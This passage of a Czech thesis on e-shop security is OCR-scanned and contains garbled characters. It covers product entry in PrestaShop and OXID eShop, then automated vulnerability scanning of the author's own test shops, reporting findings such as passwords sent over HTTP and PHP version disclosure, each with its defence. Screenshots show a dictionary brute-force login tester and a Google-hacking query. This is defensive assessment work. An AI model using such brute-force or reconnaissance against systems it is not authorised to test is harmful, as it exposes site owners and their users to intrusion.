vlastnost definujici, zda je zbozi nové ¢i pouzité apod. Dalsi soubor dat slouzi pro zadani
ceny, danové sazby, piiplatku na dopravé a také je zde vyplnén pocet kust zbozi
obsazenych na sklad€. Posledni ¢ast této funkce obsahuje polozky vkladané do HTML

znaCek <meta> a formulare pro ulozeni popisi produkt vytvarenych pomoci WYSIWYG
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editorti. Nachazi se zde také pole pro vyplnéni vystihujicich tagh a oddil pro pfidani

produktového pfislusenstvi, které je vybirano ze seznamu jiz vlozeného zbozi.

Druhé sekce tohoto rozhrani slouzi ke vkladani produktovych fotografii, jejich popiskl a

ptidané obrazky zde mohou byt nastaveny také jako obal produktu.

V dalsi sekci lze vytvaret specialni ceny zbozi napiiklad pro uréité zemé, uzivatelské
skupiny nebo pro rizné akce ¢i Casova obdobi. Nasledujici oddil umoznuje vytvaret
produktové kombinace a dalsi sekce slouzi pro vytvaieni specialnich vlastnosti, vlastnich

ptizplsobeni a také ke vkladani produktovych pitiloh.

Na obrazku nize Ize vidét priklad vysledného zobrazeni ptidaného produktu ve front-end

sekci:

Ja-83K USTREDNA

= 2 640,00 K& vE. DPH

Kdd zboZi: 00001

MnoZstvi: |1

17 zboZi na skladé

"Phdatdo kosiku |

> Tisk

> Zobrazit v plné
velikosti

Ustfedna ma 50 adres a na zakladni desce 10 dratovych vstupd. S dratovymi moduly JA-82C
Ize rozifit podet dratovych vstupd a na 30. PFi osazeni rddiového modulu JA-82R lze vyusit
i bezdrdtové periférie. V Gstfedné je prostor pro 18 Ah akumuldtor. Pro &dsteéné hlidani
nebo rozdéleni objektu lze prvky zafadit do 3 sekei. Ustfedna poskytuje signdl pro sirény
{vnitFni a vn&j3i) a 2 programovatelné vystupy,. Nastavit lze aZ 50 ovlddacich kédu a karet.

Obr. 14. Ukazka zobrazeni produktu v aplikaci PrestaShop
OXID eShop Community Edition

V tomto systému jsou funkce pro vkladani zbozi obsazeny v sekci Produkty. Ta obsahuje
stejnojmenny pododdil Produkty a také podsekce Parametry, Kategorie, Vybéry a Recenze.
Pododdil Produkty slouzici pro vkladani zbozi je podobné jako v systému PrestaShop
rozdelen na nékolik dil¢ich casti. V sekci Hlavni jsou vkladany zakladni informace, jako
nazev zbozi, jeho ¢islo, kod vyrobcee, tagy atd. Jsou zde pfifazeny nazvy dodavatele a

vyrobce, hlavni cena, alternativni ceny pro rtizné skupiny uzivatel, sazba DPH a také
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popis vyrobku zapsan ve formé¢ HTML kodu. V oddilu Rozsitené je mozné vyplnit
rozméry a vahu produktu, jsou zde vkladany souborové piilohy a také moznost nastaveni
bezplatné dopravy atd. Sekce sklad obsahuje informace o mnozstvi zbozi na skladg,
nastaveni bézné dodaci lhity, definici mnozZstevnich slev a také je zde mozné konfigurovat
generaci skladovych zprav, které jsou odesilany povéfenému zaméstnanci formou e-mailu
pfi uréeném poklesu skladovych zasob. Dalsi oddil slouzi ke vkladani produktovych
fotografii a zbyvajici sekce umoziuji definovat produktové parametry a varianty, vlastnosti

kiizového prodeje a také pridavat na vkladané zbozi vlastni recenze.

Na nasledujicim obrazku je mozné vidét ptiklad zobrazeni vlozeného zbozi ve front-end

sekci e-shopu:

I Podrobné dadaje o zboZi

Ja-83K Ustiedna
Kéd: ooool

Z4dné hodnoceni,

R

B Ffipraveno k odeslani

X vietné DPH, pl
2.640 K& i »
Mnostui: I].

[+]zvEtsit b Doporudit
Piihlaste == pro piistup do seznarmu pidni.

¥yrobce: Jablotron

JA-83K Ustiedna

Ustfedna mé 50 adres a na zakladni desce 10 dratowich vstupd, S dratovimi moduly J4-82C lze
roziiFit podet drétovich vstupd a% na 30, Ffi osazeni radiového modulu 14-82R lze vyu3it i
bezdratové periférie, W dstfedné je prostor pro 18 Ah akumuldtor, Pro Sdsteéné hliddni nebao
rozdéleni objektu lze prvky zafadit do 3 sekeol. Ustiedna poskytuje signél pro sirény {vniténi a
vn&jsi) a 2 programovatelné vistupy. Mastavit lze aZ 50 ovlddacich kdédu a karet.

Obr. 15. Ukdzka zobrazeni produktu v aplikaci OXID eShop
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4 TESTOVANI ZRANITELNOSTI WEBOVYCH APLIKACI

Tato kapitola popisuje zpisoby testovani odolnosti webovych aplikaci proti sou¢asnym
nejpouzivanéjSim utokim, kterymi jsou tyto systémy napaddny. Vyslednd analyza
zranitelnosti je provedena za pomoci vybranych ndstroji slouZzicich pro automatizované

testovani bezpecnosti webovych systémii.
4.1 Metody testovani

4.1.1 Black box testing

Tato metoda vychazi ze skutecnosti, kdy je analyzovany systém tzv. "Cernou skiinkou" coz
znamena, ze pro pribeh testovani nejsou k dispozici zdrojové kody ani dokumentace k
aplikaci. Tento zpusob testu je provadén tak, Ze se na vstupy systému vkladaji data bez
znalosti vnitini implementace aplikace, a ty jsou na vystupu poté vyhodnocovany. Metoda
black box testing se vyuziva pro simulaci uzivatelského pfistupu k aplikaci a odhaluje

mozné nezadouct stavy, které mohou pii jejim pouzivani nastat.

Pfirovnanim k tomuto typu testovani muaze byt zpisob vyhledadvani vysledki v
internetovém vyhledavaci, kde uzivatel zada pozadovany dotaz a klikne na tlacitko
Vyhledat. Jadro vyhledavaciho systému provede vyhodnoceni dotazu a zobrazi vysledky

uzivateli, jenZ v§ak nema moznost vidét strukturu vyhledavaciho procesu.

4.1.2 White box testing

Na rozdil od black box testovani lze u této metody proniknout do samotné struktury
systému, a tim neni tato bezpecnostni analyza zavisla pouze na testovani za pomoci vyuZziti
aplika¢nich vstupii a vystupt. Tato skute¢nost vede k tomu, ze osoba provadégjici testovani
neni odkazana pouze na uZivatelské rozhrani, ale mize pfistupovat k vnitinim objektim
aplikace, které zpracovavaji uzivatelské pozadavky. Metoda white box testing je provadéna
nejastéji pred zavedenim systému do provozu a slouzi k identifikaci nevhodnych
konstrukei vnitinich procest aplikace, které mohou ohrozit jeji vlastni funkénost a tim také

bezpecnost celého systému.

Ptikladem, ktery lze pfirovnat k tomuto zplsobu analyzy muze byt vystupni kontrola
automechanika provadéjiciho testovani vSech funkci nového vozu, ¢imz je zajistén jeho
bezproblémovy chod a tim také co nejvyssi tiroven bezpecnosti uzivateld, ktefi jej budou

vyuzivat. [42]
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4.2 Zpusoby testovani

4.2.1 Manualni testovani bezpe¢nosti webovych systémii

Manualni zptsob testovani je jednou z nejstarSich moznosti slouzicich pro hledani
zranitelnosti webovych systéma. Tento typ bezpeCnostni analyzy je provadén rucné
prostfednictvim bézného rozhrani testované aplikace a je zpravidla ¢asové hodné naro¢ny.
Pouziva se predevsim v ptipadech, které vyzaduji vlastni logicky usudek testera a kde neni

pozadavek na zaznam velkého mnozstvi Casto se opakujicich udaji.

Manudlni testovani je vhodné vyuzit predevSim pro odhaleni tzv. logickych chyb, které
vznikaji z opomenuti nékterych bezpecnostnich pravidel ¢i jejich nevhodné konstrukce,
¢imz vznikd moznost jak dané opatieni obejit. Piikladem této chyby miize byt napiiklad
naru$eni obchodni logiky, ktera sméfuje uzivatele z bodu A do bodu C ptes bod B, ktery
obsahuje bezpecnostni ovéfeni. Tento bod je vSak mozné pii uritém neocekavaném

postupu vynechat a tim narusit bezpe¢nostni integritu systému.

4.2.2 Automatické testovani bezpecnosti webovych systému

Tento typ testovani vznikl na zéklad€ potteby provadéni velkého mnoZstvi opakujicich se
postupt, které neni mozné efektivné realizovat ru¢né. Uskutecnéni téchto analyz je
provadéno pomoci automatizovanych scanovacich nastroji vyuzivanych piedev§im pro
odhaleni tzv. technickych chyb. Ty wvznikaji pfedev§im pifi existenci nevhodné
zabezpecenych uzivatelskych vstupt ¢i také u aplikacnich vystupd, které mohou byt

ovlivnény uzivatelskou interakei.

Piikladem pouziti téchto nastroji muze byt kontrola zabezpeceni bé&zného HTML
formulare obsahujiciho okolo 30 prvki, které mohou byt napadeny nékterou z variant XSS
utoku ¢i potencialné nachylnych k chybé zpisobujici pfeteCeni pamétového zasobniku.
Pokud scanovaci aplikace obsahuje ve své databazi cca 70 variant téchto tutoku, je
provedeno vic nez 2000 demonstrac¢nich napadeni, které mohu v pomérné kratkém Case

odhalit ptipadnou Kritickou bezpecnostni chybu. [43]
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4.3 Automatizované testovani bezpec¢nosti webovych systémii

4.3.1 Vlastnosti testovacich aplikaci

Aplikace pro automatizované testovani bezpecnosti webovych systémil jsou specializované
nastroje, které mohou byt orientovany pouze na vybrany typ urcit¢ho napadeni nebo
mohou pokryvat Sirokou Skélu nejznaméjSich utok. U pokrocilych ndstrojii mize byt

umoznéno ve specidlnich editorech vytvaret své vlastni varianty testovani.

Tyto systémy mohou c¢asto plnit také funkci webového crawleru, ktery systematicky
prochazi aplikaéni strukturu, dokud nenajde vSechny dostupné soubory a adresafe systému.
Inteligentni typy takovych scanerG mohou napiiklad také detekovat druh vyuzivaného
operac¢niho systému a webového serveru, na némz je aplikace nainstalovana nebo také

pouzivanou verzi skriptovaciho jazyka.

Dalsi vlastnosti téchto nastroji mize byt schopnost scanovani otevienych port systému,
které mohou vést ke spusténi testl ovéiujicich naptiklad odolnost proti utokim DNS
Cache Poisoning apod. Uzite¢nou funkei je u vybranych aplikaci moznost pouziti modulu
HTTP Sniffer, ktery dovoluje zachytavat a ménit HTTP pozadavky a odpovédi, ¢imz

mohou byt odhaleny veSkera data odesilana z testované aplikace.

Vystupy z téchto systémi mohou byt vytvatfeny v piehlednych reportech, jejichz obsah je

Casto fazen podle stupné zavaznosti nalezené zranitelnosti.

4.3.2 Typy testovacich aplikaci

woeve

aplikace, tak také placené systémy vyvijené pod komerc¢ni licenci. Tyto pokrocilé néstroje
maji Casto také své bezplatné verze, které neobsahuji vSechny pokrocilé funkce, ale
umoziuji provedeni testl ovéfujicich existenci zdékladnich casto se vyskytujicich
zranitelnosti. Samostatnou podsekei téchto scanerll jsou aplikace vytvarené jako dopliky

pro internetovy prohlize¢ Mozilla Firefox.

Nize je uveden vybrany seznam téchto automatizovanych nastroju, ktery je roz€lenén

podle vyse uvedenych variant jejich dostupnosti:
Samostatné programy

Bezplatné verze komercénich aplikaci
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e QualysGuard Web Application Scanning Trial

e WebCruiser - Web Vulnerability Scanner Trial

e Acunetix Web Vulnerabillity Scanner Free Editon

o N-Stalker Web Application Security Scanner Free Edition
e Sandcat Scanner Mini

e Websecurify Scanner Basic

e Netsparker Community Edition

e Havij Free

Zdarma Sifené nastroje

Web Application Attack and Audit Framework (w3af)

Skipfish Website Vulnerability Scanner

Wapiti - Web Application Vulnerability Scanner / Security Auditor
Grendel-Scan

Dopliiky pro internetovy prohlize¢ Mozilla Firefox

e Firebug
e XSS Me

e Live HTTP Headers

e Modify Headers

e Tamper Data

o Websecurify Scanner Browser Extensions

4.4 Pouzité scanovaci nastroje

4.4.1 Acunetix Web Vulnerabillity Scanner

Acunetix Web Vulnerabillity Scanner je aplikace testujici zabezpeceni webovych systému
vytvofena spolenosti Acunetix Ltd., kterd se zabyva otazkou softwarové bezpecnosti od
roku 1997. Prvni verze tohoto scanovaciho nastroje byla vydana v ¢ervenci roku 2005 a
jeji zdarma dostupna verze nese oznaceni Acunetix Web Vulnerabillity Scanner Free
Edition.

Toto bezplatné vydani ve svém zakladu testuje aplikace na moznost existence XSS utokt a
také funguje naptiklad v rezimu webové crawleru. Uzite¢nou funkci tohoto scaneru je
modul Target Finder, ktery na zaklad¢ zadaného rozsahu IP adres dokaze identifikovat
aktivni HTTP/HTTPS servery. Také je zde obsazen nastroj zvany HTTP Editor, ktery
umoziuje ménit HTTP pozadavky snadnou tupravou hlavicek, cookies ¢i odesilanych

ptihlasovacich udaji atd. Tento editor 1ze vhodné vyuzit naptiklad pro ovéteni nalezeného


http://sectools.org/tool/w3af/
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XSS utoku vlozenim vygenerovaného skodlivého fetézce do zranitelného formulérového

prvku apod.

Z dalSich funkci disponuje naptiklad také moznosti vyuziti médu HTTP Sniffer ¢i HTTP
Fuzzer podporujici odesilani objemnych fetézct vstupnich dat, které otestuji aplikaci na
zranitelnost  zptisobenou preteCenim pamétového zasobniku. Pomoci modulu
Authentication Tester je mozné provést utok hrubou silou, ktery ovétuje silu hesel
uzivanych pro identifikaci v testovanych aplikacich. Ptiklad uziti tohoto modulu je mozné

vidét na obrazku nize:

[& Acunetix Web Yulnerability Scanner {Free Edition) =131 x|

: File Actions Tools Configuration  Help

NewScan|- ¥ 7 L0 Evk: A (ra

Efg|-l,|4n

Tonls Explorer o | Target URL ko test: |http:f,l’lbartnsak.host.utb.cz;’oxid,l’ j 9] stop

IE‘ ‘web vulnerability Scanner
i] & Wb Scaniner

- Tools Logon has Faled if: |HTTP skatus code is =l |4Dl =l

(3 Site Crawler

)_) Target Finder Username dictionary path: |D:\,Programy\Web ‘fulnerability Scanner 7\DatalGeneraliuserlist, bxk J

Authentication method: |Wab Farm based ﬂ password form fields to use:  © Select,.,

5

Subdomain Scanner

BB HTTP Editor

- HTTP Sniffer

G | HTTP Fuzzer

Authentication Tester

Compare Resulks

‘b Services

-] Wieh Services Scanner

- Web Services Editor

=+ Configuration

| Settings

] Seanning Profies

= General

d Program Updates
‘ersion Information

-
Passward dictionary path: |D:lPrngramy\Weh Yulmerahility Scanner 7iDatalizeneralpasslist. bxb j

Yalid Combinations |

&P Licensing Ackivity Window =
@j Support Center

@] Purchass

@j User Manual {html)
ﬁj User Manual {pdf)
(W0 BCUSEnsor

[ Application Log | Errar Lag

Authentication tester |Tested 89223 from 110124 [remaining 00:00.01]

Obr. 16. Ukdzka pouziti modulu Authentication Tester

Pted samotnym spuSténim scanovaciho procesu je mozné provést zaznam piihlaSovaci
sekvence, jenz nasledné usnadnuje testovani heslem chranénych ptihlasovacich HTML

formulara.

Aktualni verze tohoto testovaciho softwaru je 8.0.20120403 vydana v dubnu roku 2012.
[44]

4.4.2 Netsparker Community Edition

Tento scanovaci nastroj je vyvijen spole¢nosti Mavituna Security Ltd. a jeho prvni verze
byla vydana v roce 2009. Netsparker obsahuje ve své bezplatné verzi moznost testovani

sady riiznych typl zranitelnosti. Jsou to predevsim utoky XSS a SQL Injection, déle také
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napadeni Directory Indexing a Information Leakage, které zjist'uji zneuzitelné informace z
nezabezpecenych konfiguracnich souborti, zaloh ¢i také chybovych vypisi apod. Aplikace
také analyzuje obsah souboru robots.txt, zaznamenava nalezené e-mailové adresy ¢i
muze odhalit pouzivanou verzi programovaciho jazyka, webového serveru a dokaze

identifikovat formulafové pole pro vkladani soubort.

Podobné jako predchozi popisovany nastroj funguje Netsparker také jako webovy crawler
a dokaze ptehledné zobrazit vybranou zranitelnost bud’ v podobé HTTP pozadavku a
odpovédi i v jeji bézné reprezentaci piekladané prohlize€em. Na nésledujicim obrazku je

mozné vidét priklad zjisténi pouzivané verze jazyka PHP z hlavicky HTTP odpovédi:

‘Wulmerability Browser Yiew HTTP Request [ Response

Find: upload o = Previous Mext Mo match Found.

Request

GET /prestalecs/ HTTR/1.1 -
User-igent: Mozillas4.0 (compatible; MSIE 6.0; Windows NT 5.1; 3V1; .NET CLRE 1.1.4322;
Cache-Control: no-cache

Host: lbartosak.host.uth.cz

Aocept-Encoding: gzip, deflate

Connection: Eeep—-Aliwve

| | o

Response

U B R S

This regquest took 1763 ms. ﬂ

HTTF/1.1 200 OK

Date: Wed, 15 Apr 2012 23:23:51 GMT
Serwver: Apache

i-Powered-Ey: PHP/5.2.6-1+lenny3

P3P: CP="IDC D3P COR CURa ADMa OUR IND PHY CNL COM ZTA™

SGet-Cookie: 881ZcibtaaSaelddccia?7?hie3211d45899a=ZE52FDtxFnLEe?YhDEvvYEhe ZNz4CGh2 npvgShgdQl
=] Vary: Accept-Encoding

i0 Content-Encoding:

11 Content-Length: 5727

1z Eeep-Ailive: timeout=15, max=100

[ IS (= PR ) [T N VR SV

13 Connection: Eeep—-Aliwve

14 Content-Type: text/html; charset=utf-g

15 -
<| I 3

Obr. 17. Priklad zjisténi verze programovaciho jazyka z hlavicky HTTP odpovédi

Soucasna verze tohoto scanovaciho nastroje je 1.7.2.13 vydana v lednu roku 2011. [45]

4.4.3 Websecurify Scanner

Websecurify Scanner je software pro testovani webové bezpe¢nosti vyvijeny skupinou
vyvojaia zvanou Websecurify. Tato aplikace je vydavana ve Ctyfech zakladnich podobach,
z nichz jsou dvé€ poskytovany bezplatné. Prvni z nich je verze Basic urcend pro pouziti v
systtmech Windows a druhd je vydavana jako rozSifujici plugin do internetovych

prohlizeci Mozilla Firefox a Google Chrome.
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Pouzita verze Basic provadi testovani zranitelnosti webovych aplikaci proti sadé
vybranych utokd. Jsou to napiiklad napadeni typu XSS, SQL Injection nebo HTTP
Response Splitting zneuzivajici znakii CR/LF slouZicich pro odiadkovani. Dale umoziuje
tento systém detekovat nékteré utoky typu Cross-site Request Forgery, uklada nalezené e-
mailové adresy, vyhledava formulafové vstupy pro upload soubort a také zaznamenava
citlivé udaje z nalezenych chybovych hlaSeni. Aplikace informuje také napiiklad o
moznosti prochazeni nezabezpecenych adresafovych struktur ¢i umoziuje odhalit pouziti

protokolu SOAP atd.

Na nize uvedeném obrazku je mozné vidét ukazku ¢asti vystupu z provadéného scanovani:

EWebsecurify Scanner i

File Edit Tools Help

Banner Disclosure

The server or application disclosed its type and version. This information could be used by attackers to make an educated guess about the application
environment and any inherited weaknesses that may come with it.

solution: It is recommended to prevent the application from disclosing its type and version.

banner: Server: Apache

request:

GET http://lbartosak.host.utb.cz/oxid/ HTTP/1l.1

banner: X-Powered-By: PHP/5.2.6-1+lenny3

request:

GET http://lbartosak.host.utb.cz/oxid/ HTTP/1l.1

Obr. 18. Ukdzka casti vystupu nastroje Websecurify Scanner

Aktualni bezplatna verze této testovaci aplikace je 0.9 vydana v fijnu roku 2011. [46]

4.4.4 N-Stalker Web Application Security Scanner

Tento scanovaci software je vyvijen spolecnosti ZMT Comunicagdes e Tecnologia Ltda.,
ktera vydala prvni verzi tohoto nastroje v dubnu roku 2000. Bezplatna podoba této aplikace
je Sifena pod nazvem N-Stalker Web Application Security Scanner Free Edition a

umoziuje testovat fadu riiznych napadeni.

Mimo utokit XSS je to napiiklad také moznost detekce stahovatelnych a zalohovacich
soubort testované aplikace ¢i analyza soubort robots.txt. N-Stalker dale také informuje
o pouziti technologie WebDav a dokaze rozpoznat existenci CMS redak¢nich systémi jako
Wordpress ¢i Joomla apod. Zaméfuje se rovnéz na zranitelnosti spojené s technikou

Google Hacking a vyhledava mozné slabiny spojené s rozhranim DOM. Tento nastroj také
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ovéiuje nevhodné pouziti HTTP metody GET pii prenosu formulafovych dat a detekuje

pouziti protokolu SSL.

Podobné jako aplikace Acunetix a Netsparker pracuje N-Stalker v rezimu webového
crawleru a dokaze pomoci nastroje Web Discovery detekovat pouzity aplikacni server.
Zadavanym vstupem pro tento modul mutize byt naptiklad externi soubor obsahujici seznam
testovanych URL adres nebo také pozadovany rozsah IP adres. Tento testovaci software
dale obsahuje modul Macro Recorder, ktery slouzi k zaznamenani piihlaSovacich sekvenci
aplikace, které pak mohou byt vyuzity v nastroji HTTP Brute Force. Modul Encoder Tool
zde slouzi pro prevadéni dat do riznych typti kddovani obsahujicich naptiklad moznost
prevodu fetézct do Sifrované podoby atd. Dale je zde k dispozici nastroj GHDB Tool,
ktery umozniuje provadét dotazy spojené s technikou Google Hacking. Ptiklad pouZiti této

funkce je mozné vidét na nasledujicim obrazku:

_ Spider: [1 24, 2012 09:41:25] 502 Pages Enter GHDB search guery (i.e: intitle:nstalker) :

http: Mbartosak host.uth czioxid! ‘lnurl:passwnrd ‘ Etop
Progress Pages: 502 Threads: 10 | Max Threads: E
URL Hame Length (bytes)
::_[ http:ibartosak host uth.czfoxidforgot-passwword/ 7 Sldtype=infogricd ‘16 690
::_[ hitp:ilhartosak host uth.czfoxidiforgot-password! 16 890

::_[ http:ibartosak host uth.czfoxidforgot-password/7ocur=1 &&ldtype=infogrid 16 890
l:_/ hittpeilbartosak host uth.czfoxidforgot-password/Pcur=1 8&cnid=57 e490as 17 320
::_[ http:ibartosak host uth.czfoxidforgot-password/Tour=1 &&cnid=4pid1 141 17 326
l:_/ hittpeilbartosak host uth.czfoxidforgot-password/Pcur=1 &&cnid=1028Idtyp 17 135
::_[ hitp:ilhartosak host uth.czfoxidiforgot-password/Tour=1 A&cnid=110&/dtyp 16 812
::_[ http:ibartosak host uth.czfoxidforgot-password/7our=1 S&mnid=root&listty 17 402
::_[ hitp:ilhartosak host uth.czfoxidiforgot-password/Tour=1 A&listtype=2idtype 16 690

::_[ http:ibartosak. host uth.czfoxidforgot-passwword/ Tour=1 ‘16 690

l,,_/ hittpibartosak host uth.czfoxidiforgot-password/?our=08lang=1 16 426

::_[ http:ibartosak host uth.czfoxidforgot-password/?stoken=5E07 31 37 &forc: 15 676

:.,_[ Fittp: ibartosak host uth.czfoxidiforgot-pessword/?our=1 &lang=1 16 630

1 <IDOCTYPE HIML PUBLIC "-//W3C//DTD HIML 4.01FfEN" "http:[/fuww. w3 org/TR/mtmldfetrict. dtd"> -

Z <html lang="=n" > I

3 <head>

4 <title>Barth Security | Forget Password I<ftitle>

s <meta http-equiv="Content-Type' combent="text/html; charset=UTF-&">

3 <meta name="ROEOTE" content="HOINDEX, HOFOLLOW">

7

] <link rel="shortcut icon" href="http://lbartossk host_ uth_cz/oxidfout/basic/ingsfavicon. ico">

=l <link rel="styleshest" type="text/css" href="http://lbartosak. host.uth.cz/oxid/out/basic/src/onid. css">
10 <l--lif IF 8]x<limk rel="stylashest' type="taxtsess" heef="http:/ lbartosak host.utb.czfoxidfoutsbasic/sresoxid ek
11 <l==lif IR 7lx<limk rel="stylesheet" bype="text oss" href="hitp:' //lbartosek host wtbh_czfoxidfout/basic/srefoxid ieh
1z w!——lif IF &lx=link rel="styleshest" type="texbt oss" href="hitip://lbartosek hest utb. cz/oxidieut /basic/sroforid ied
13
14 <fhead:
15 <! -— ONID eSheop Community Editicm, Versicn €. Shepping Cart System ¢c) ONID efales AG 2003 - 2012 - hitp://weiv.oxid-<
16 <body:> =2

4 3

AE[s v Ql | %a

Obr. 19. Priklad pouziti nastroje GHDB Tool

Dalsi uziteCnou vlastnosti aplikace N-Stalker je moznost definice vlastnich scanovacich
pravidel, jenZ mohou byt vytvarena pro konkrétni testovaci ucely. Bezplatna verze tohoto
nastroje jako jedna z mala umoziuje ukladat vysledky testi do p¥ehlednych reportt, které

jsou vytvareny ve formatu PDF ¢i RTF.

Soucasna verze tohoto scanovaciho nastroje je 7.1.1.120 vydana v dubnu roku 2012. [47]
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4.5 Vysledky testovani zranitelnosti implementovanych aplikaci

V této casti prace jsou popsany vysledky automatizovaného testovani bezpecnosti
implementovanych elektronickych obchodl, které byly provedeny za pomoci vyse
zminénych scanovacich nastroji. Jelikoz byly nékteré nalezené zdznamy ve vystupech

testovacich aplikaci shodné, je rozebran vzdy jen jejich prvni vyskyt.

45.1 PrestaShop
Acunetix Web Vulnerabillity Scanner

Tento scanovaci nastroj, ktery ve své bezplatné verzi ovéfuje moznosti napadeni sadou

utokd Cross-Site Scripting nenalezl u systému PrestaShop zadnou dostupnou zranitelnost.
Netsparker Community Edition

e Password Transmitted Over HTTP

e Auto Complete Enabled

e PHP Version Disclosure

e File Upload Functionality Identified
Zranitelnost oznacena jako Password Transmitted Over HTTP oznacuje pienos
uzivatelského hesla pfes nezabezpeceny protokol HTTP. Pokud by uto¢nik proved]
uspésné napadeni typu Man in the middle mohl by nasledné ziskat odeslané heslo pro sviij

prospéch. Obranou proti této skutenosti je pouziti zabezpeceného protokolu HTTPS.

Problém Auto Complete Enabled znaci nastaveni atributu vstupniho formularového prvku
autocomplete na hodnotu "on", coz zpusobuje ukladani uzivatelskych vstupt do
mezipaméti prohlizece. Pokud se naptiklad uzivatel ptihlaSuje na vefejném pocitaci k takto
nezabezpeCenému systému, kde je nutné vyplnit ¢islo kreditni karty, miize nasledujici
osoba, ktera pouzije tento pocita¢ zadané ¢islo z mezipaméti prohlizece vy¢ist. Ochranou

proti této hrozb¢ je nastaveni daného atributu na hodnotu "off".

Udaj PHP Version Disclosure popisuje zvefejnéni instalované verze jazyka PHP v hlaviéce
HTTP odpovédi, coz mize utocniklim napomoci v zjiSténi vice informaci o wvnitini
struktufe aplikace a tim mohou byt nasledujici itoky zacileny na slabiny dané verze tohoto
programovaciho jazyka. Zaznam File Upload Functionality ldentified znaci nalezeni
formularového prvku slouziciho pro upload souboru piilohy ke kontaktnimu formuléfi v

sekci Zakaznicky servis. Pokud by byl tento vstup nevhodné zabezpecen, mohl by byt
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zneuzit pro nahrani souboru se Skodlivym zdrojovym kodem, ktery by poté mohl byt za

uréitych podminek spustén.

Websecurify Scanner

Autocomplete Enabled
Banner Disclosure
File Upload

Zaznam Banner Disclosure reprezentuje odhaleni pouzité verze jazyka PHP a také typ

webového serveru.

N-Stalker Web Application Security Scanner

Old PHP 5.x Version might be suscetible to security flaws

Found a possible non-secure cookie (no SSL restriction)

Insecure Web Authentication Form data protection mechanism found (no SSL)
Weak Web Form data protection mechanism found (no SSL)

Found Insecure HTTP TRACE method to be supported

Webserver will disclosure platform details of version information

Web Form allows password caching in the client-side

Zranitelnost Found a possible non-secure cookie (no SSL restriction) popisuje existenci

cookies, jejichZ pfenos neni zabezpecen pomoci protokolu SSL, coZ znamena, Ze nejsou

zaSifrovany a mohou tak byt snadné&ji zneuzity. Z divodu nepouziti protokolu SSL

vyplyvaji také nckteré dalSi uvedené zranitelnosti spojené s procesem piihlaSovani a

prenosem citlivych formulafovych dat. Zaznam Found Insecure HTTP TRACE method to

be supported informuje o povolené metodé HTTP TRACE, ktera slouzi predev§im pro

ladici tcely a z bezpecnostnich diivodli by méla byt pii bézném provozu systému vypnuta.

45.2

OXID eShop Community Edition

Acunetix Web Vulnerabillity Scanner

Stejné jako u e-shopu PrestaShop nebyly touto aplikaci nalezeny zadné zranitelnosti

umoziujici uspésné provedeni utokt typu Cross-Site Scripting.

Netsparker Community Edition

Password Transmitted Over HTTP
Auto Complete Enabled

Cookie Not Marked As HttpOnly
PHP Version Disclosure
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e E-mail Address Disclosure

Zranitelnost Cookie Not Marked As HttpOnly vyplyva z nepouziti vlastnosti HTTPOnly,
ktera slouzi k ochrané cookies proti jejich ziskani na stran€ klienta za pomoci JavaScriptu.
Zaznam E-mail Address Disclosure popisuje ziskani kontaktni e-mailové adresy obsazené

v sekci Zapomenuté heslo, ktera by mohla byt napiiklad zneuzita pro utok spamem apod.
Websecurify Scanner

e Autocomplete Enabled
e Email Disclosure
e Banner Disclosure

N-Stalker Web Application Security Scanner

e Old PHP 5.x Version might be suscetible to security flaws
e Google Hacking Database (GHDB) Signature Found
e Insecure Web Authentication Form data protection mechanism found (no SSL)
e Weak Web Form data protection mechanism found (no SSL)
e Found Insecure HTTP TRACE method to be supported
e Webserver will disclosure platform details of version information
e Web Form allows password caching in the client-side
Zaznam Google Hacking Database (GHDB) Signature Found vypovida o nalezeni souboru

robots.txt, ze kterého mohou byt ziskany tidaje o struktuie dané webové aplikace.

45.3 Shrnuti

Na zékladé vyse popsanych vysledkl automatizovaného scanovani je mozné konstatovat,
Ze ani u jednoho z testovanych systémul nebyla nalezena kritickd zranitelnost, ktera by
mohla zasadné ohrozit bezpecnost systému ¢i jeho uzivateld. VeétSina objevenych
nedostatkt je spojena predevsim s absenci bezpecnostnich protokold HTTPS a SSL, které
by bylo vhodné pii redlném vyuziti testovanych elektronickych obchodi pouzit. DalSim
opatfenim by mé&lo byt také vyuziti hostingu obsahujici server s novéjsi verzi jazyka PHP a
také uprava nastaveni zahrnujici naptiklad vypnuti ladici metody HTTP TRACE atd.

Z aplika¢niho hlediska by se jednalo u systému OXID eShop piedev§im o pouziti

vlastnosti HTTPONnly pro zesileni bezpecnosti pienasenych cookies a u obou aplikaci také

vhodné nastaveni atributu autocomplete u citlivych formulafovych vstup.
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ZAVER
Tato diplomovéa prace se zabyvala analyzou soucCasné situace open source aplikaci

urcenych pro elektronické obchodovani a jejich zabezpecenim proti ttokiim zaméienym na

tyto webové systémy.

V prvni Kapitole teoretické casti byl objasnén pojem elektronického obchodovani a
popsany jednotlivé kategorie e-komerce definovany podle specifickych kritérii. Dale zde
byly rozebrany vlastnosti a funkce dnesnich nejpokrocilejsich elektronickych obchodi, a to
pfedev8§im moznosti fizeni vztahti se zakazniky, moderni zpusoby plateb, podpora

rozsifitelnosti ¢i integrace téchto aplikaci s ekonomickymi a ucetnimi systémy atd.

Dalsi sekce se zabyvala otazkou bezpecnosti v oblasti webovych aplikaci, kde byl nejprve
popsan problém kybernetické kriminality a hackingu spolu s definicemi jednotlivych typt
hacker. V této kapitole byl dale zpracovan soubor nékolika desitek vybranych utokt
subjekty velmi aktualni bezpecnostni hrozbu. Tyto typy napadeni byly ve vétSiné piipadul

doplnény také o praktické ukazky spolu S moznymi zpiisoby obrany.

Prvni kapitola praktické ¢asti byla zaméfena na popis souboru nejpouzivangjSich open
source feSeni slouzicich pro elektronické obchodovani, z kterych byly pro dalsi potieby
prace zvoleny systémy PrestaShop a OXID eShop Community Edition. Samotny proces
vybéru vhodnych feSeni byl realizovan na zédklad€ porovnani n€kolika specifickych kritérii.
Dale byla provedena instalace zminénych systémi na studentsky hostingovy systém LW
Hosting a jejich nasledné nastaveni spojené s upravou nékterych funkcionalit. Poté bylo
uskutecnéno naplnéni produktovych katalogli vzorovym zbozim, které poslouzilo k

demonstraci funkénosti téchto elektronickych obchodi.

Dalsi oddil se zabyval testovanim zranitelnosti webovych systémi, kde byly nejprve
popsany jednotlivé metody a zpusoby slouzici pro vyhledani bezpecnostnich nedostatkli s
naslednym zaméfenim na ndstroje uréené pro automatizované testovani bezpecnosti
webovych aplikaci. Vybranymi programy tohoto typu byly instalované e-shopy podrobeny
bezpecnostnimu scanovani, které mélo za kol odhalit ptipadné zranitelnosti. V zavéru této
sekce byla provedena prezentace vysledki téchto testl s jejich rozborem, ktery ukazal, ze
